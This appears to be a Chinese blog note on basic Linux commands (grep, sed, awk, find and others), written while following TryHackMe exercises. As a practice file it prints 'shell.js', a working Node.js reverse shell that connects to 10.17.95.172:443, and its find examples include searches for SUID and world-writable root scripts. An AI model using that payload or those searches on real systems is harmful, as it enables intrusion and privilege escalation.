Linux基础-001
约 1645 字大约 5 分钟
2024-11-16
“Linux”这个名字实际上是基于UNIX(另一种操作系统)的一个操作系统内核,也可以说是基于linux内核的多种发行版的总称。由于Linux是开源的,Linux的变体有各种形状和大小-最适合系统的用途。
让我们从最简单的命令开开始:
| 命令 | 描述 | 命令格式 | 
|---|---|---|
| echo | 输出我们能提供的任何文本 | echo [string] or echo ['string']  查看当前环境变量路径:echo $path  | 
| woami | 输出我们当前登陆的用户名 | woami | 
| ls | 列出当前目录下的所有文件 | ls [option] | 
| cd | 更改目录路径 | cd [path] | 
| pwd | 打印当前所在目录 | pwd | 
| find | 按文件属性查找文件 | find [optin] | 
| grep | 搜索和过滤文件内容 | grep [string] [filename] | 
| wc | 打印每个 <文件> 的换行符、单词和字节计数; | wc [option]  -c:字节,-m字符,-l换行, -w 单词  | 
基础命令
注
以下内容不是照抄Tryhackme的学习过程笔记,是经过作者整理后,在本地主机上练习命令的结果
echo
echo "Hello Tryhackme"whoami
whoamicd
cd ~/Projectpwd
pwdls
lswc 查看 'shell.js' 文件内的单词数,行数
wc -w
wc -l输出结果
┌──(kali㉿bogon)-[~/Project]
└─$ wc -w shell.js
34 shell.js
┌──(kali㉿bogon)-[~/Project]
└─$ wc -l shell.js
12 shell.js
┌──(kali㉿bogon)-[~/Project]
└─$cat 命令查看 'shell.js' 文件内容
cat shell.jsshell.js
(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(443, "10.17.95.172", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Prevents the Node.js application from crashing
})();文件查找
最简单的查找:
grep 查找'shell.js' 中包含 ‘10.17.95.172’的行
grep "10.17.95.172" hello.jpg与ls结合查找指定文件
 ls | grep shell.js快速搜索、修改文本内容需要掌握正则表达式: - http://www.regular-expressions.info/、- http://www.rexegg.com
grep
grep可以在文本文件中搜索字符串,并打印包含关键字的行;更可以与
‘|’配合使用,实现或的查询 (注意单引号中不要有空格): grep 'str1|str2' fiel
用法:grep [选项]... 模式 [文件]...
-v 排除指定内容
-o 只显示抓取到的字符,而不是显示一行(每匹配到一个,另起一行打印)
-A 显示匹配字符行和上一行
-B 显示匹配字符行和下一行
-C 显示匹配字符行和上下行(相当于-A 加 -B)
-E 与管道符配合,对文件内容模糊查询与egrep相同 grep 'str1 * str2' file (* 占位一个字符)
-r 递归查询,查询目录中的所有文件
-R 同样是递归查询,但是可以行进一步glob匹配查询
-c 只显示匹配到字符的行数
-i 不区分大小写
-l "str"<文件名(多个)> 找到包含字符串的文件
-L "str"<文件名(多个)> 找到不包含字符串的文件
-e 可以连续指定多个参数 grep -e 'h' -e 'k' hello2使用实例
grep 'str' file
cat file | grep 'str'
grep -ri Passwd # 对当前目录中所有文件进行递归搜索,并忽略大小写字母的区分sed
sed 是强大的流编辑器,可以对一组文件或其他命令输出执行流编辑操作;
- 批量替换文件内容
 
echo "I need to try hard" | sed 's/hard/harder/' # 只对打印结果替换
sed -i 's/hard/harder/g' file.txt # 替换文件中的字符串cut & awk
cut从一行中提取一段文本并将其输出到标准输出
cat /etc/passwd |cut -d ":" -f 1awk通常用于数据提取、生成报告,支持正则表达式
echo "hello::there::friend" | awk -F "::" '{print $1, $3
who | awk '{pront $1"\t"$2}'
who | awk '{pront $1"\n"$2}'注
cut -d 的分界符必须是单个字符awk -F 的分界符可以是字符串!
sort
sort的功能是排序
- sort 默认按第一个字符正序
 - sort -u 去重
 - sort -run 按数值从大到小排序
 
cat access_log.txt | cut -d " " -f 1 |sort | uniq -c | sort -rununiq
使用 uniq 进行统计: uniq -c按出现次数进行数值统计
Find
find 命令是这三种搜索工具中最复杂、最灵活的搜索工具。掌握它的语法有时很棘手,但它的功能强大,超出了正常的文件搜索。
find / -mtime 0 #搜索最近24小时修改过的文件
# 参数:
# -atime 访问时间
# -ctime 变更时间
find . -type f -iname '*.sh' -mmin -30 -ls
# 搜索最近30分钟修改过的文件
find . -name .svn -exec rm -rf {} \;
# 对搜索结果执行命令(删除)
find . -name .svn |xargs rm -rf
# 对搜索结果执行命令(删除)
# -name : 文件名称
find / -type f -perm -u=s -ls 2>`/dev/null
# 搜索启用SUID权限的文件
# -perm :用户权限
# -u=s 至少属主有S权限
# u=s 属主只有S权限
find /test/ -type f -user kali -perm /220 -name test1
# -type : 文件类型
# d:目录/l:链接/b:块设备/c:串行设备/s:套接字文件/f:文件
# -user :用户属主
# -grep :用户属组
find -name“*.txt”-maxdepth 1
# -maxdepth 1 表示查询目录深度为 1示例 : 查找"/usr/share" 中名称包含“shell”字段的文件
find / -user root -type f -perm -o=w -name '*.sh' 2>/dev/null查找/usr/share中名称包含webshell的目录
sudo find /usr/share/ -type d  -name  *webshell*查找/usr/share中名称包含“shell”字段的文件
sudo find /usr/share/ -type f  -name  *shell*运算符简介
| 符号 | 描述 | 
|---|---|
| & | 此操作符允许您在终端的后台运行命令(在命令末尾添加) | 
| && | 此操作符允许您将多个命令组合成一行,在终端中使用。 | 
| > | 这个操作符是一个重定向器--意味着我们可以从一个命令中获取输出(比如使用cat输出一个文件)并将其定向到其他地方。 | 
| >> | 该操作符执行与>操作符相同的功能,但附加输出而不是替换(意味着没有内容被覆盖)。 | 
回答以下问题
如果我们想在后台运行一个命令,我们应该使用什么操作符?
答案: &
如果我想用单词“password123”替换名为“passwords”的文件的内容,我的命令应该是什么?
echo password123 > passwords现在,如果我想将“tryhackme”添加到这个名为“passwords”的文件中,但同时保留“passwords123”,我的命令会是什么?
echo tryhackme >> passwords